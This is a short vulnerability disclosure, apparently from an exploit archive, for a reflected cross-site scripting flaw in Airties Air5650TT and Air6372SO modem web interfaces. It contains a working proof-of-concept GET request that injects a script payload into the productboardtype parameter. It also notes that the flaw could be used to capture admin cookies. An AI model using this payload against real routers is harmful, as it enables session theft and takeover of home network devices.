Airties Air5650TT Modem Web Interface Reflected XSS Vulnerability ~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [+] Discovered by: KnocKout [~] Contact : knockout@e-mail.com.tr [~] HomePage : http://h4x0resec.blogspot.com Love to = > KedAns-Dz & _UnDeRTaKeR_ & BARCOD3 & Septemb0x & ZoRLu ( milw00rm.com ) ############################################################ ~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |~Hardware/Web App : Airties |~Affected Version : Air6372SO , Air5650TT |~Official Web: http://www.airties.com |~RISK : Light ####################INFO################################ the same network with a social engineering scenario is on the modem manager to do the admin cookies can be captured ######################################################## ---------------------------------------------------------- Proof image: http://i.hizliresim.com/RJAXV6.png ---------------------------------------------------------- Request ---------------------------------------------------------- GET http://192.168.2.1/top.html?productboardtype=%3Ch4%3Eh4%20Here%3C/h4%3E%3Cscript%3Ealert(document.domain)%3C/script%3E Request Headers: Host[192.168.2.1] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] Connection[keep-alive] Response Headers: Content-Type[text/html] DLast-Modified[Tue, 10 Jun 2014 12:43:09 GMT] Content-Length[4594]